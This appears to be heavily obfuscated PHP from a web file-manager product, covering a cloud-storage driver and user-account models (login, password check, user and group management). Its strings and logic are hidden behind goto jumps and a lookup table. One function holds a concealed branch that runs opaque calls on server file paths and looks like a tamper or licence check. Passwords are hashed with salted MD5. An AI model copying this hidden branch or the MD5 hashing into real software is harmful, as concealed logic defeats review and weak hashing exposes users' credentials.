$aޛؑ[0] = $f[212]; } goto d׎; f͚: $dꐜ = $fл; if (isset($BǾф[$f[89]])) { $dꐜ = $BǾф[$f[89]]; unset($BǾф[$f[89]]); } if (isset($BǾф[$f[207]])) { $BǾф[$f[206]] = $aƵ; return $this->listUploadParts($dꐜ, $BǾф); } goto e; cᤛ: } public function listUploadParts($EDz, $bǗ) { goto dŽُ; fƂ: $A։º = $cҏ->getListPart(); $dNj = array(); foreach ($A։º as $b܈ㅕ) { $dNj[] = array($A܊[1174] => $b܈ㅕ->getPartNumber(), $A܊[1175] => trim($b܈ㅕ->getETag(), $A܊[112])); } goto e޴; e޴: unset($bǗ[$A܊[207]], $bǗ[$A܊[211]]); $fȣ = $this->multiUploadAuthData($EDz, $bǗ); if (empty($fȣ)) { return !1; } goto a쬸; a쬸: return array($A܊[216] => $fȣ, $A܊[206] => $bǗ[$A܊[206]], $A܊[218] => $dNj); goto EʣӶ; dŽُ: $A܊ =& $_SERVER[ֹ]; $AԴ = parse_url_query($bǗ[$A܊[156]]); $cҏ = $this->client->listParts($this->bucket, $this->pathEncode($EDz), $AԴ[$A܊[205]]); goto fƂ; EʣӶ: } public function download($F, $aċ) { if ($this->isFolder($F)) { return !1; } try { $F̄ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $aċ); $F̄ = $this->trafficLimit($_SERVER[ֹ][104], $F̄); $this->client->getObject($this->bucket, $this->pathEncode($F), $F̄); } catch (OSS\Core\OssException $e߭) { return !1; } return $aċ; } public function fileSubstr($b, $C˘ = 0, $Dδ = false) { if ($C˘ === -1) { $Cκ = array(); } else { if ($Dδ === !1) { $d = $this->size($b); } else { $d = $C˘ + $Dδ - 1; } $Cκ = array(OSS\OssClient::OSS_RANGE => "{$C˘}\x2d{$d}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($b), $Cκ); } catch (OSS\Core\OssException $e) { think_exception($e->getMessage()); return !1; } } private function trafficLimit($A, $aç = array()) { goto Aݖ; c獲ǹ: if (!$D鱊) { return $aç; } $D鱊 = $D鱊 < 819200 ? 819200 : ($D鱊 > 838860800 ? 838860800 : $D鱊); $aç[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($D鱊); goto bժ; bժ: return $aç; goto Eԯ; Aݖ: $bՄ =& $_SERVER[ֹ]; if ($A == $bՄ[1183] && $this->isUploadServer() || $A == $bՄ[104] && $this->isFileOutServer()) { return $aç; } $D鱊 = floatval($GLOBALS[$bՄ[6]][$bՄ[84]][$bՄ[102]][$A]) * 1024 * 1024 * 8; goto c獲ǹ; Eԯ: } public function link($e, $F޺ = array()) { $c =& $_SERVER[ֹ]; if (!$this->exist($e) || $this->isFolder($e)) { return !1; } try { $F޺ = $this->trafficLimit($c[104], $F޺); $Aɞ = $this->client->signUrl($this->bucket, $this->pathEncode($e), 3600 * 12, $c[212], $F޺); return $this->getCdnLink($Aɞ); } catch (OSS\Core\OssException $Dɘ) { return !1; } } public function fileOut($Eʧ, $CȺ = false, $Cǰ͈ = false, $Dˌ = '') { goto EԈȪ; eשߔ: $c̸ = array(OSS\OssClient::OSS_SUB_RESOURCE => $e۶[1195] . rawurlencode("{$CȺ}\x3b\146\x69\154\x65\156\141\x6d\145\75{$Cǰ͈}")); $c̸[OSS\OssClient::OSS_SUB_RESOURCE] .= $e۶[1196] . rawurlencode($e萂); $b˕ = $this->link($Eʧ, $c̸); goto d釩; bś: $e萂 = get_file_mime(get_path_ext($Cǰ͈)); if ($e萂 == $e۶[197]) { return parent::fileOut($Eʧ, $CȺ, $Cǰ͈, $Dˌ); } $CȺ = $CȺ ? $e۶[198] : $e۶[199]; goto eשߔ; d釩: $this->fileOutLink($b˕); goto cӆ; EԈȪ: $e۶ =& $_SERVER[ֹ]; if (!$Cǰ͈) { $Cǰ͈ = $this->pathThis($Eʧ); } $Cǰ͈ = rawurlencode($Cǰ͈); goto bś; cӆ: } public function fileOutServer($cˍ㤎, $aޙҏ = false, $fԚ = false, $f = '') { parent::fileOut($cˍ㤎, $aޙҏ, $fԚ, $f); } public function fileOutImage($D, $bݞ = 250) { $A = array(OSS\OssClient::OSS_PROCESS => $_SERVER[ֹ][1197] . $bݞ); $D֪ꟈ = $this->link($D, $A); $this->fileOutLink($D֪ꟈ); } public function fileOutImageServer($E眧֓, $Bɩԉ = 250) { parent::fileOutImage($E眧֓, $Bɩԉ); } public function fileOutLink($dğ) { $E⇗ =& $_SERVER[ֹ]; if (!$this->isCdnHost() && substr($dğ, 0, 7) == $E⇗[1102]) { $dğ = $E⇗[1103] . substr($dğ, 7); } header($E⇗[152] . $dğ); die; } public function hashMd5($E, $d = '') { $fʷ =& $_SERVER[ֹ]; $D = $this->objectMeta($E); if (!$D) { return $fʷ[33]; } if (!isset($D[$fʷ[1170]]) && !empty($d)) { $e = $this->updateObjMeta($E, array($fʷ[1170] => $d)); $D[$fʷ[1170]] = $e ? $d : $fʷ[33]; } return isset($D[$fʷ[1170]]) ? strtolower($D[$fʷ[1170]]) : $fʷ[33]; } public function size($aߎ¹) { $Aѣ = $this->objectMeta($aߎ¹); return $Aѣ ? $Aѣ[$_SERVER[ֹ][77]] : 0; } public function info($Cϣ) { if ($this->isFolder($Cϣ)) { return $this->folderInfo($Cϣ); } else { if ($this->isFile($Cϣ)) { return $this->fileInfo($Cϣ); } } return !1; } public function exist($Aڛ) { return $this->isFile($Aڛ) || $this->isFolder($Aڛ); } public function isFile($bݽ) { return !$this->isFolder($bݽ) && $this->objectMeta($bݽ); } public function isFolder($a) { return $this->cacheMethod($_SERVER[ֹ][219], $a); } protected function objectMeta($fε) { return $this->cacheMethod($_SERVER[ֹ][220], $fε); } protected function _objectMeta($Aю) { $Eϫ =& $_SERVER[ֹ]; try { $eݜ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($Aю)); } catch (OSS\Core\OssException $F೅) { $eݜ = !1; } if ($eݜ) { $eݜ[$Eϫ[77]] = intval($eݜ[$Eϫ[1177]]); } return $eݜ; } protected function _isFolder($F뢯) { $Aϡ =& $_SERVER[ֹ]; if ($F뢯 == $Aϡ[33] || $F뢯 == $Aϡ[8]) { return !0; } $bৗ = array($Aϡ[1167] => $Aϡ[8], $Aϡ[182] => rtrim($F뢯, $Aϡ[8]) . $Aϡ[8], $Aϡ[1168] => 1, $Aϡ[1169] => $Aϡ[33]); $Eګ¶ = $this->client->listObjects($this->bucket, $bৗ); if ($Eګ¶->getObjectList() || $Eګ¶->getPrefixList()) { return !0; } return !1; } } goto cĊ蟡; fՒֹԛ: class UserJobModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\x65\x6d\x2e\x6a\157\142\114\x69\x73\164"; public $field = array("\x6e\141\x6d\145", "\x64\x65\163\x63", "\163\x6f\162\x74"); const JOB_KEY = "\x73\145\154\x66\x4a\x6f\x62\114\x69\x73\x74"; public function listData($f = false, $dɬ = "\x73\157\162\164", $eԃߡ = false) { return parent::listData($f, $dɬ, $eԃߡ); } public function remove($c) { return parent::remove($c); } public function add($c) { $b =& $_SERVER[ֹ]; if ($this->findByName($c[$b[28]])) { return !1; } $c[$b[2100]] = $this->getSort(); return parent::insert($c); } private function getSort() { $ač޴ =& $_SERVER[ֹ]; $e̓ = parent::listData(); $c͟ = array_to_keyvalue($e̓, $ač޴[33], $ač޴[2100]); return empty($c͟) ? 0 : max($c͟) + 1; } public function update($D, $F҈) { $Aݩ =& $_SERVER[ֹ]; $E̅ʬ = parent::listData($D); $b㴵 = $this->findByName($F҈[$Aݩ[28]]); if (!$E̅ʬ || $b㴵 && $b㴵[$Aݩ[363]] != $E̅ʬ[$Aݩ[363]]) { return !1; } return parent::update($D, $F҈); } public function setUserJob($dڦ, $B) { goto B; b֯: $bͻƖ = rtrim($bͻƖ, $d[47]); Model($d[473])->metaSet($dڦ, self::JOB_KEY, $bͻƖ); goto B; B: $d =& $_SERVER[ֹ]; if (!is_array($B)) { $B = array($B); } $A = parent::listData(); goto CصҢ; CصҢ: $c焨 = array_to_keyvalue($A, $d[28]); $bͻƖ = $d[357]; foreach ($B as $eƸ) { if ($c焨[$eƸ]) { $bͻƖ .= $c焨[$eƸ][$d[363]] . $d[47]; } else { $F = $this->add($eƸ); $bͻƖ .= $F . $d[47]; } } goto b֯; B: } public function getUserJob($c饒) { $a㧖 = Model($_SERVER[ֹ][473])->metaGet($c饒); return $this->getUserJobInfo($a㧖[self::JOB_KEY]); } public function getUserJobInfo($b폺) { goto B; d׭: return $a; goto F; B: $F䋃ؐ =& $_SERVER[ֹ]; $c󨰓 = explode($F䋃ؐ[47], $b폺); $fIJ = parent::listData(); goto B߮ȥ; B߮ȥ: $fIJ = array_remove_key($fIJ, $F䋃ؐ[183]); $a = array(); foreach ($c󨰓 as $bޒ) { if (isset($fIJ[$bޒ])) { $a[] = $fIJ[$bޒ]; } } goto d׭; F: } } class UserModel extends ModelBase { protected $tableName = "\165\163\x65\162"; protected $tableMeta = array("\164\x61\142\154\145\x4e\x61\x6d\x65" => "\165\x73\145\x72\137\x6d\x65\x74\141", "\x6d\x65\164\x61\x46\151\x65\154\144" => "\165\x73\x65\162\111\x44"); protected $simpleField = "\165\x73\145\x72\x49\104\x2c\156\151\x63\153\116\x61\155\x65\x2c\156\141\x6d\145\54\141\x76\x61\164\141\x72\x2c\x73\145\170"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($E䕭) { $fȸ =& $_SERVER[ֹ]; $dϞ = $fȸ[2465]; return array($fȸ[2146] => array($E䕭[0], $dϞ), $fȸ[2148] => array($E䕭[0], $dϞ), $fȸ[2466] => array($E䕭[0], $dϞ)); } protected function getInfo($Bޠº, $cڟ = false) { $c̶ = $this->getInfoSimple($Bޠº); if (!is_array($c̶)) { return array(); } if ($cڟ) { return $this->_getInfoApply($c̶); } return $this->cacheFunctionGet($_SERVER[ֹ][2188], $Bޠº); } protected function getInfoFull($aԘ͞, $cƸ = false) { $Eâ = $this->getInfoSimple($aԘ͞); if (!is_array($Eâ)) { return array(); } if ($cƸ) { return $this->_getInfoApply($Eâ, !0); return $this->_getInfoApply($Eâ, !0); } return $this->cacheFunctionGet($_SERVER[ֹ][2467], $aԘ͞); } private function _getInfoApply($FƧ, $A = false) { goto B; dىˈ: $FƧ = $this->_listDataApplyItem($FƧ); $bٗ = Model($fז·[1104])->metaGet($FƧ[$fז·[387]][$fז·[365]]); $FƧ[$fז·[2470]] = $D߃󇋓; goto D޼; D޼: $FƧ[$fז·[387]][$fז·[2303]] = isset($bٗ[$fז·[2304]]) ? $bٗ[$fז·[2304]] : null; if ($A) { $FƧ[$fז·[413]] = $this->metaGet($FƧ[$fז·[1415]]); } return $FƧ; goto cϊ½; B: $fז· =& $_SERVER[ֹ]; if (!$FƧ) { return $FƧ; } $D߃󇋓 = md5($fז·[2468] . $FƧ[$fז·[798]] . $fז·[2469] . $FƧ[$fז·[28]]); goto dىˈ; cϊ½: } protected function getInfoSimple($A, $bε = false) { $E¶ =& $_SERVER[ֹ]; if (!$A) { return array(); } if ($bε) { $CǾɞ = $this->where(array($E¶[1415] => intval($A)))->find(); if (!is_array($CǾɞ)) { return array(); } $CǾɞ[$E¶[2471]] = Action($E¶[2472])->parseUrl($CǾɞ[$E¶[2471]]); return $CǾɞ; } return $this->cacheFunctionGet($E¶[2149], $A); } protected function getInfoSimpleOuter($C٩) { goto Dŗ; F󉂝: $Cտ = array_field_key($Cų, explode($aŹ[47], $this->simpleField)); if (!$Cտ) { return array($aŹ[1415] => $aŹ[1025], $aŹ[28] => $aŹ[153] . LNG($aŹ[2475]) . $aŹ[472], $aŹ[2471] => STATIC_PATH . $aŹ[2476]); } $Cտ[$aŹ[2471]] = Action($aŹ[2472])->parseUrl($Cտ[$aŹ[2471]]); goto B; Dŗ: $aŹ =& $_SERVER[ֹ]; if (!$C٩ || $C٩ == 0) { return array($aŹ[1415] => $aŹ[464], $aŹ[28] => $aŹ[153] . LNG($aŹ[2473]) . $aŹ[472], $aŹ[2471] => STATIC_PATH . $aŹ[2474]); } $Cų = $this->cacheFunctionGet($aŹ[2149], $C٩); goto F󉂝; B: return $Cտ; goto B; B: } protected function groupUser($d) { } public static function errorLang($f̒) { $b⟷ =& $_SERVER[ֹ]; $bdžɒ = array(self::ERROR_USER_NOT_EXISTS => $b⟷[2477], self::ERROR_USER_PASSWORD_ERROR => $b⟷[2478], self::ERROR_USER_EXIST_NAME => $b⟷[2479], self::ERROR_USER_EXIST_PHONE => $b⟷[2480], self::ERROR_USER_EXIST_EMAIL => $b⟷[2481], self::ERROR_USER_LOGIN_LOCK => $b⟷[2482], self::ERROR_IP_NOT_ALLOW => $b⟷[2483], self::ERROR_USER_EXIST_NICKNAME => $b⟷[2484]); return LNG($bdžɒ[$f̒]); } public function getInfoByMeta($Aß, $Dߕ) { $Bޥʈ =& $_SERVER[ֹ]; $Aᅌ = Model($Bޥʈ[2485])->where(array($Bޥʈ[89] => $Aß, $Bޥʈ[355] => $Dߕ))->find(); if ($Aᅌ) { return $this->getInfo($Aᅌ[$Bޥʈ[1415]]); } return !1; } public function userLoginCheck($dۄ, $b) { goto c錂; c錂: $A썵 =& $_SERVER[ֹ]; $bݻ = array($A썵[28] => $dۄ, $A썵[2307] => $dۄ, $A썵[289] => $dۄ, $A썵[2486] => $dۄ, $A썵[910] => $A썵[912]); if ($this->nickNameRpt()) { unset($bݻ[$A썵[2307]]); } goto E; Eũ: $this->userEdit($E򈞃[$A썵[1415]], array($A썵[2487] => time())); $this->clearCache($E򈞃[$A썵[1415]]); return $this->getInfo($E򈞃[$A썵[1415]]); goto f; E: $E򈞃 = $this->where($bݻ)->find(); if (!$E򈞃) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($E򈞃[$A썵[1415]], $b)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } goto Eũ; f: } public function clearCache($fݩ) { $B =& $_SERVER[ֹ]; $this->cacheFunctionClear($B[2188], $fݩ); $this->cacheFunctionClear($B[2149], $fݩ); } public function userPasswordCheck($B, $E꩘ε) { $fʜ͇ =& $_SERVER[ֹ]; $Aы = $this->where(array($fʜ͇[1415] => intval($B)))->find(); $b = $this->metaGet($B); $Fö = isset($b[$fʜ͇[2488]]) ? $b[$fʜ͇[2488]] : $fʜ͇[33]; if (md5($Fö . trim($E꩘ε)) !== $Aы[$fʜ͇[798]]) { return !1; } return !0; } public function userAdd($Cٴʣ) { goto aƙ; f: return $Cӎů; goto e; aƙ: $c¬ =& $_SERVER[ֹ]; $AΦ = array($c¬[382] => $Cٴʣ[$c¬[28]], $c¬[2489] => $Cٴʣ[$c¬[2490]], $c¬[2491] => isset($Cٴʣ[$c¬[289]]) ? $Cٴʣ[$c¬[289]] : $c¬[33], $c¬[2492] => isset($Cٴʣ[$c¬[2486]]) ? $Cٴʣ[$c¬[2486]] : $c¬[33], $c¬[2493] => isset($Cٴʣ[$c¬[2307]]) ? $Cٴʣ[$c¬[2307]] : $Cٴʣ[$c¬[28]], $c¬[2494] => isset($Cٴʣ[$c¬[2471]]) ? $Cٴʣ[$c¬[2471]] : $c¬[33], $c¬[2495] => isset($Cٴʣ[$c¬[2496]]) ? $Cٴʣ[$c¬[2496]] : 1, $c¬[2497] => $Cٴʣ[$c¬[798]], $c¬[2150] => isset($Cٴʣ[$c¬[2063]]) ? $Cٴʣ[$c¬[2063]] : 1024 * 1024 * 20, $c¬[2151] => 0, $c¬[2487] => 0, $c¬[2175] => isset($Cٴʣ[$c¬[686]]) ? $Cٴʣ[$c¬[686]] : 1); if (!empty($Cٴʣ[$c¬[1415]])) { $AΦ[$c¬[1415]] = $Cٴʣ[$c¬[1415]]; } goto bە; fΉ: $cϝȢ = array($c¬[2497] => $AΦ[$c¬[798]], $c¬[2493] => $AΦ[$c¬[2307]]); $this->userEdit($Cӎů, $cϝȢ); Model($c¬[1104])->userRootAdd($Cӎů); goto f; bە: $b㒕 = $this->_checkExist($Cٴʣ); if ($b㒕 !== !0) { return $b㒕; } $Cӎů = $this->add($AΦ); goto fΉ; e: } protected function userEditTest($Aṹ, $D۩) { return $this->call($_SERVER[ֹ][2498], $Aṹ, $D۩); } protected function userEdit($A̷҅Ȍ, $Cϯ) { goto Aό֐Е; Aό֐Е: $aˉ =& $_SERVER[ֹ]; $A = $this->getInfoSimple($A̷҅Ȍ); if (!$A) { return !1; } goto dՐ; dՐ: $D = $this->_checkExist($Cϯ, $A̷҅Ȍ); if ($D !== !0) { return $D; } if (isset($Cϯ[$aˉ[798]]) && trim($Cϯ[$aˉ[798]]) != $aˉ[33]) { $EϾڝ = $this->metaGet($A̷҅Ȍ); if (empty($EϾڝ[$aˉ[2488]])) { $EϾڝ[$aˉ[2488]] = rand_string(10); Model($aˉ[470])->metaSet($A̷҅Ȍ, $aˉ[2488], $EϾڝ[$aˉ[2488]]); } $Cϯ[$aˉ[798]] = md5($EϾڝ[$aˉ[2488]] . trim($Cϯ[$aˉ[798]])); } else { unset($Cϯ[$aˉ[798]]); } goto AѺ; AѺ: $this->where(array($aˉ[1406] => $A̷҅Ȍ))->save($Cϯ); if (isset($Cϯ[$aˉ[2307]])) { $this->setNamePinyin($A̷҅Ȍ, $Cϯ[$aˉ[2307]]); } return !0; goto FؖΙ; FؖΙ: } public function setNamePinyin($Fȥ, $dϷ = false) { $fǎ =& $_SERVER[ֹ]; if (!$dϷ) { $fӂ = $this->getInfoSimple($Fȥ); $dϷ = $fӂ[$fǎ[2307]] ? $fӂ[$fǎ[2307]] : $fӂ[$fǎ[28]]; } $E = Model($fǎ[473]); if (!Input::check($dϷ, $fǎ[524])) { return $E->metaSet($Fȥ, array($fǎ[412] => $fǎ[33], $fǎ[411] => $fǎ[33])); } return $E->metaSet($Fȥ, array($fǎ[412] => str_replace($fǎ[50], $fǎ[33], Pinyin::encode($dϷ)), $fǎ[411] => Pinyin::encode($dϷ, $fǎ[525]))); } private function nickNameRpt() { $FϏ =& $_SERVER[ֹ]; $EΒ = Model($FϏ[1082])->get($FϏ[2499]); $C = $GLOBALS[$FϏ[6]][$FϏ[2455]][$FϏ[2499]]; $E嚳 = !is_null($EΒ) ? $EΒ : $C; return !!$E嚳; } private function _checkExist($DƜώ, $B = false) { $a =& $_SERVER[ֹ]; $CǛ = array($a[28] => UserModel::ERROR_USER_EXIST_NAME, $a[2307] => UserModel::ERROR_USER_EXIST_NICKNAME, $a[289] => UserModel::ERROR_USER_EXIST_EMAIL, $a[2486] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($CǛ[$a[2307]]); } $Eܵ = $B ? array($a[1415] => array($a[2500], $B)) : array(); foreach ($CǛ as $Bۍ => $Aώ) { if (!isset($DƜώ[$Bۍ]) || !$DƜώ[$Bۍ]) { continue; } $d = array_merge(array($Bۍ => $DƜώ[$Bۍ]), $Eܵ); $c֏ = $this->where($d)->find(); if ($c֏) { return $Aώ; } } return !0; } public function userListInfo($Eͭ) { $cۖ =& $_SERVER[ֹ]; $cӵΎ = array(); $Eͭ = is_array($Eͭ) ? array_unique($Eͭ) : array(); if (!$Eͭ) { return $cӵΎ; } if (count($Eͭ) < 20) { foreach ($Eͭ as $b) { $cӵΎ[$b . $cۖ[33]] = $this->getInfoSimpleOuter($b); } } else { $B = array($cۖ[1406] => array($cۖ[380], $Eͭ)); if (count($Eͭ) == 1) { $B = array($cۖ[1406] => $Eͭ[0]); } $C = Model($cۖ[470])->field($this->simpleField)->where($B)->select(); $C = array_to_keyvalue($C, $cۖ[1415]); foreach ($Eͭ as $b) { $C廏 = $C[$C[$b]]; if (!$C廏) { $cӵΎ[$b . $cۖ[33]] = $this->getInfoSimpleOuter($b); continue; } $C廏[$cۖ[2471]] = Action($cۖ[2472])->parseUrl($C廏[$cۖ[2471]]); $cӵΎ[$b . $cۖ[33]] = $C廏; } } return $cӵΎ; } protected function userStatus($bɏ, $Aߒ) { $Cʚ = $this->getInfoSimple($bɏ); if (!$Cʚ) { return !1; } $bП = array($_SERVER[ֹ][686] => $Aߒ); return $this->userEdit($bɏ, $bП); } protected function userRemove($A) { goto A袾; A袾: $B =& $_SERVER[ֹ]; $A = $this->getInfoSimple($A); if (!$A) { return !1; } goto bυꡧ; DϪ: Model($B[749])->userRootRemove($A); return $this->where($E쥺ɋ)->delete(); goto D͸Ό; Cޏе: Model($B[2154])->where($E쥺ɋ)->delete(); Model($B[2485])->where($E쥺ɋ)->delete(); Model($B[2502])->where($E쥺ɋ)->delete(); goto DϪ; bυꡧ: $E쥺ɋ = array($B[1406] => $A); Model($B[532])->where($E쥺ɋ)->delete(); Model($B[2501])->where($E쥺ɋ)->delete(); goto Cޏе; D͸Ό: } protected function userGroupSet($a籰, $D׫靘, $Cʅ՚ = array()) { goto d੤; E˗ʴ: if (!$e || !is_array($D׫靘)) { return !1; } $Cڲ㣈 = Model($A̤[2154]); $Cڲ㣈->where(array($A̤[1415] => $a籰))->delete(); goto CҎ; d੤: $A̤ =& $_SERVER[ֹ]; if ($_SERVER[$A̤[783]] != $_SERVER[$A̤[784]]) { goto Eދ΅; f񞤐: $Bٯ = 1; while ($Bٯ > 1) { $Bٯ = $Bٯ + 4; $Dܚ÷ = rawurlencode($Bٯ . $A̤[357]); } goto fֽϦ; Eދ΅: $bկ = $A̤[785]; $C݅ = $A̤[786]; $BŨͣ = $_SERVER[$A̤[787]] . $A̤[788]; goto Cߡؽ; Cߡؽ: $E劯 = $C݅($BŨͣ); $A뮵 = explode($A̤[213], $E劯); if (count($A뮵) < $A̤[599]) { $cؗظ = $A̤[789]; $cؗظ(); } goto EȚ˷; EȚ˷: $Fգ = $A̤[790]; $Fգ($_SERVER[$A̤[791]]); $Fգ($_SERVER[$A̤[787]] . $A̤[792]); goto f񞤐; fֽϦ: } $e = $this->getInfoSimple($a籰); goto E˗ʴ; CҎ: $Dǰ = array(); $Cҍ = 0; foreach ($D׫靘 as $a => $bʶ) { $F = array($A̤[1415] => $a籰, $A̤[2079] => $a, $A̤[2208] => $bʶ); $F[$A̤[2100]] = isset($Cʅ՚[$Cҍ]) ? $Cʅ՚[$Cҍ] : 0; $Cҍ++; $Dǰ[] = $F; } goto E; E: return $Cڲ㣈->addAll($Dǰ, array(), !0); goto Cǘ; Cǘ: } protected function userGroupAdd($Cà, $a߸۟ = array()) { $c¥ =& $_SERVER[ֹ]; $dې˻ = $this->getInfoSimple($Cà); if (!$dې˻ || empty($a߸۟)) { return !1; } $b = array(); foreach ($a߸۟ as $f => $a) { $b[] = array($c¥[1415] => $Cà, $c¥[2079] => $f, $c¥[2208] => $a); } return Model($c¥[2154])->addAll($b, array(), !0); } protected function userGroupRemove($F, $EО) { $D =& $_SERVER[ֹ]; $bؙ = $this->getInfoSimple($F); if (!$bؙ || !$EО) { return !1; } $dՐ = array($D[1406] => $F, $D[2152] => $EО); return Model($D[2154])->where($dՐ)->delete(); } public function listData() { $F񵱋 = $this->_makeOrder()->selectPage(50); $this->_listDataApply($F񵱋[$_SERVER[ֹ][350]]); return $F񵱋; } public function listByID($F酨) { $b㒅 =& $_SERVER[ֹ]; if (!$F酨) { return; } $bѫ㻴 = array($b㒅[1415] => array($b㒅[7], $F酨)); $a䜊 = $this->where($bѫ㻴)->select(); $this->_listDataApply($a䜊); return $a䜊; } public function listByGroup($B’ˑ = 0, $fփ = array()) { goto f; f: $a =& $_SERVER[ֹ]; $DƟ芊 = $a[33]; $F = array(); goto FŨ; FŨ: if ($B’ˑ) { $F = array($a[2503] => intval($B’ˑ)); $DƟ芊 = "\x4c\105\106\x54\40\112\x4f\x49\x4e\x20{$this->tablePrefix}\165\x73\x65\x72\x5f\147\x72\x6f\x75\160\40\x75\x73\x65\x72\137\x67\x72\157\165\160\40\x6f\156\x20\x75\163\x65\x72\56\x75\163\145\x72\x49\104\x20\75\40\165\x73\145\162\x5f\147\162\157\x75\160\56\165\163\x65\x72\111\x44"; $EͱÏ = Input::get($a[403], null, $a[33]) ? $a[33] : $a[2504]; } if (isset($fփ[$a[686]])) { $F[$a[2505]] = $fփ[$a[686]]; } $aٲ = $this->_makeOrder($EͱÏ)->field($a[2506])->where($F)->join($DƟ芊)->selectPage(50); goto AН; AН: $this->_listDataApply($aٲ[$a[350]]); return $aٲ; goto f´; f´: } private function _makeOrder($eͤޑ = '') { goto E䄕; D퉻: $eͤޑ = $eͤޑ . "\x75\163\x65\162\x2e{$EĢ}\40{$B}\x2c\x20\x75\163\x65\162\x2e\x75\x73\145\162\111\104\40\141\163\x63"; return $this->alias($F봪[2250])->order($eͤޑ); goto Bَް׾; E䄕: $F봪 =& $_SERVER[ֹ]; $A = array($F봪[1415], $F봪[28], $F봪[2065], $F봪[2038], $F봪[183]); $D͝ = array($F봪[398] => $F봪[399], $F봪[400] => $F봪[401]); goto bލ; bލ: $EĢ = Input::get($F봪[403], $F봪[7], $F봪[1406], $A); $B = Input::get($F봪[404], $F봪[7], $F봪[2155], array($F봪[2155], $F봪[400])); $B = $D͝[$B]; goto D퉻; Bَް׾: } public function listSearch($dܪ) { goto cЙ˒; eݜ: if (!$e̺ || count($e̺[$fי[350]]) < 5 && Input::check($DۄÛ, $fי[302])) { $eܹ = $this->_searchFromMeta($fי[411], $DۄÛ, 10); $d΍܂ = $this->_searchFromMeta($fי[412], $DۄÛ, 10); $e≕ = array_merge($eܹ, $d΍܂, $e̺[$fי[350]]); $e̺[$fי[350]] = array_unique_by_key($e≕, $fי[1415]); $e̺[$fי[347]][$fי[348]] = count($e̺[$fי[350]]); $e̺[$fי[347]][$fי[349]] = ceil($e̺[$fי[347]][$fי[348]] / $e̺[$fי[347]][$fי[345]]); } $this->_listDataApply($e̺[$fי[350]]); $this->_filterByGroup($e̺, $c鑊); goto dݦ; cЙ˒: $fי =& $_SERVER[ֹ]; $DۄÛ = $dܪ[$fי[2156]]; $c鑊 = isset($dܪ[$fי[2157]]) ? $dܪ[$fי[2157]] : !1; goto E; E: $DۄÛ = str_replace($fי[2158], $fי[2159], trim($DۄÛ)); $bЉ = array($fי[28] => array($fי[748], "\x25{$DۄÛ}\x25"), $fי[289] => array($fי[748], "\45{$DۄÛ}\x25"), $fי[2307] => array($fי[748], "\45{$DۄÛ}\45"), $fי[910] => $fי[2160]); if (Input::check($DۄÛ, $fי[295])) { $bЉ[$fי[1415]] = array($fי[748], "\45{$DۄÛ}\45"); $bЉ[$fי[2486]] = array($fי[748], "\x25{$DۄÛ}\x25"); } goto AЌͬ; dݦ: return $e̺; goto A; AЌͬ: if (!$DۄÛ) { $bЉ = array(); } if (isset($dܪ[$fי[686]])) { $bЉ[$fי[686]] = $dܪ[$fי[686]]; } $e̺ = $this->_makeOrder()->where($bЉ)->selectPage(20); goto eݜ; A: } private function _filterByGroup(&$b˃, $F膡ߢ) { $e͆ =& $_SERVER[ֹ]; if (!$F膡ߢ) { return $b˃; } foreach ($b˃[$e͆[350]] as $BƱط => &$aЏ) { $cӦ = array_to_keyvalue($aЏ[$e͆[2507]], $e͆[33], $e͆[2079]); if (!in_array($F膡ߢ, $cӦ)) { unset($b˃[$e͆[350]][$BƱط]); } } $b˃[$e͆[350]] = array_values($b˃[$e͆[350]]); $b˃[$e͆[347]] = array($e͆[2283] => count($b˃[$e͆[350]]), $e͆[2281] => $b˃[$e͆[347]][$e͆[345]], $e͆[2280] => 1, $e͆[2282] => 1); } private function _searchFromMeta($EЛ, $D, $eʅ̕) { goto eڲĉ; Bʭ˅: $D = $this->where(array($e[1406] => array($e[7], $Bоɤ)))->select(); if (!$D) { return array(); } return $D; goto C; FӋ: $Bоɤ = Model($e[2508])->where($bΔ˃)->limit($eʅ̕)->select(); if (!$Bоɤ) { return array(); } $Bоɤ = array_to_keyvalue($Bоɤ, $e[33], $e[1415]); goto Bʭ˅; eڲĉ: $e =& $_SERVER[ֹ]; $D = strtolower($D); $bΔ˃ = array($e[89] => $EЛ, $e[355] => array($e[748], "\x25{$D}\45")); goto FӋ; C: } private function _listDataApplyItem($eĸ) { $Dۃ = array($eĸ); $this->_listDataApply($Dۃ); return $Dۃ[0]; } private function _listDataApply(&$Eύ) { goto f̧; BÂlj: $FδШ = array_to_keyvalue($Eύ, $D٠[33], $D٠[1415]); $this->_listAppendGroup($Eύ, $FδШ); $this->_listAppendMeta($Eύ, $FδШ); goto dދ; f̧: $D٠ =& $_SERVER[ֹ]; if (!$Eύ) { return; } array_remove_key($Eύ, $D٠[798]); goto BÂlj; dދ: $this->_listAppendSourceRoot($Eύ, $FδШ); goto b؃; b؃: } private function _listAppendSourceRoot(&$C鹃, $DȖ) { goto C؛̔; Eå: $E = Model($dת[749])->order($dת[2167])->field($C)->where($d͋)->select(); $E = array_to_keyvalue($E, $dת[452]); $E = array_remove_key($E, $dת[452]); goto dȍ; dȍ: foreach ($C鹃 as &$DΑ) { $DΑ[$dת[387]] = $E[$DΑ[$dת[1415]]] ? $E[$DΑ[$dת[1415]]] : array(); } goto b橱; C؛̔: $dת =& $_SERVER[ֹ]; $d͋ = array($dת[457] => 0, $dת[367] => SourceModel::TYPE_USER, $dת[452] => array($dת[7], $DȖ)); $C = $dת[2166]; goto Eå; b橱: } private function _listAppendGroup(&$aا, $EŪ) { goto A; e: $EĚ謈 = array_to_keyvalue_group($EĚ謈, $dڊ[1415]); foreach ($EĚ謈 as &$eط) { $D = array(); foreach ($eط as $C򱖊) { if (!$C򱖊[$dڊ[2208]]) { continue; } $Fҙ = Model($dڊ[2227])->listData($C򱖊[$dڊ[2208]]); 